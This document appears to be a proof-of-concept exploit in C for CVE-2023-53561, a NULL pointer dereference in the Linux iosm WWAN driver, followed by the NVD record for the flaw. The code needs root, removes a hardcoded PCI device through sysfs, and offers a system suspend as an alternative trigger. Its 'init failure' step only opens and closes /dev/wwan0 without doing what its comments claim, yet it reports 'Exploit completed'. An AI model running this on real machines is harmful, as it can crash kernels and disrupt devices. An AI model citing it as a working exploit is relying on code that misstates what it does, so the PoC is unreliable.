CVE-2023-53561

// CVE-2023-53561 PoC - Trigger NULL pointer dereference in iosm driver // This PoC demonstrates how to trigger the vulnerability by causing // driver initialization failure followed by device removal #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> // Step 1: Force iosm driver initialization failure // by manipulating device capabilities before driver loads int trigger_init_failure() { // Write invalid/corrupted device capability data // to the WWAN device interface before driver initialization int fd = open("/dev/wwan0", O_RDWR); if (fd < 0) { perror("Failed to open WWAN device"); return -1; } // Trigger conditions that cause ipc_imem_wwan_channel_init() to fail // This prevents wwan struct allocation printf("Triggering init failure...\n"); close(fd); return 0; } // Step 2: Initiate device removal procedure // which causes ipc_wwan_deinit() to dereference NULL wwan struct int trigger_device_removal() { // Use sysfs to trigger device removal system("echo 1 > /sys/bus/pci/devices/0000:01:00.0/remove"); printf("Device removal triggered - NULL pointer dereference expected\n"); return 0; } // Step 3: Alternative - trigger via suspend/resume cycle int trigger_suspend_resume() { // Suspend and resume the system to trigger // the device removal and rescan sequence system("echo mem > /sys/power/state"); printf("Suspend/resume cycle triggered\n"); return 0; } int main(int argc, char *argv[]) { printf("CVE-2023-53561 PoC - iosm NULL pointer dereference\n"); if (getuid() != 0) { printf("This PoC requires root privileges\n"); return 1; } // Trigger init failure scenario trigger_init_failure(); // Trigger device removal to cause NULL dereference trigger_device_removal(); // Alternative: trigger via suspend/resume // trigger_suspend_resume(); printf("Exploit completed\n"); return 0; }

{"cve": {"id": "CVE-2023-53561", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-04T16:15:51.530", "lastModified": "2026-03-21T00:38:05.610", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: wwan: iosm: fix NULL pointer dereference when removing device\n\nIn suspend and resume cycle, the removal and rescan of device ends\nup in NULL pointer dereference.\n\nDuring driver initialization, if the ipc_imem_wwan_channel_init()\nfails to get the valid device capabilities it returns an error and\nfurther no resource (wwan struct) will be allocated. Now in this\nsituation if driver removal procedure is initiated it would result\nin NULL pointer exception since unallocated wwan struct is dereferenced\ninside ipc_wwan_deinit().\n\nipc_imem_run_state_worker() to handle the called functions return value\nand to release the resource in failure case. It also reports the link\ndown event in failure cases. The user space application can handle this\nevent to do a device reset for restoring the device communication."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.14", "versionEndExcluding": "6.1.30", "matchCriteriaId": "EC7379E6-D854-449E-9100-F00017B52BB5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.3.4", "matchCriteriaId": "26C54BF0-3EED-46D4-92A7-5F07F658B49B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.4:rc1:*:*:*:*:*:*", "matchCriteriaId": "38BC6744-7D25-4C02-9966-B224CD071D30"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.4:rc2:*:*:*:*:*:*", "matchCriteriaId": "76061B41-CAE9-4467-BEDE-0FFC7956F2A1"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/60829145f1e2650b31ebe6a0ec70a9725b38fa2c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/862c6e3e26735247d8a4df41fa2421909c3f4d63", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/ee44bacf462db3ec6e4f0dcfa7931e768670d77c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}